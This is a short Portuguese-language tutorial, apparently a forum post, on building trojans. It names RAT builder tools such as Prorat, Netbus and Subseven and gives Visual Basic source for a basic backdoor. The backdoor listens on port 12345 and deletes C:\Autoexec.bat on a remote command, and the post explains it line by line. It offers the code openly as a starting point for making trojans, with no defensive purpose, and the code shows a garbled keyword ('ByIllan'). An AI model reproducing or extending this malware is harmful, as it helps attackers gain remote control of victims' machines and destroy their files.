Trojan hoje em dia não é dificil fazer,pois existem programas que fazem isso para você...
Como assim fazem o trojan para você?
Sim,tem programas como Prorat,Netbus,NetDevil,Backorifice,Subseven,optix pro,beast,lan filtrator que fazem o trojan... lembrando tem as 3 geraçoes ai nessa explicaçao...
A base de um trojan em vb feito pelo aguia:

Private Sub Form_Load()
Winsock1.LocalPort = "12345"
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByIllan requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByIllan bytesTotal As Long)
Dim recebido As String
Winsock1.GetData recebido
If recebido = "deletar_autoexec" Then
Kill "C:\Autoexec.bat"
End If
End Sub

Para os que não sabem ou tiveram alguma dúvida, a explicação do código é a seguinte:

Winsock1.LocalPort = "12345"
* Configura a Winsock para ficar na porta 12345

Winsock1.Listen
* Coloca a Winsock em estado de espera (ouvindo) na porta 12345

Dim recebido As String
* Declara a variável "recebido" como String

Winsock1.GetData recebido
* Informa a Winsock que a variável "recebido" irá guardar
* Todas as strings recebidas(enviadas pelo cliente)

If recebido = "deletar_autoexec" Then
Kill "C:\Autoexec.bat"
End If
* Esse código diz que se a variável "recebido" receber a string "deletar_autoexec" o arquivo C:\Autoexec.bat será deletado.

está ai a base de um trojan caso queira fazer... comece estudando vb para depois fazerem em c,assembly e outros .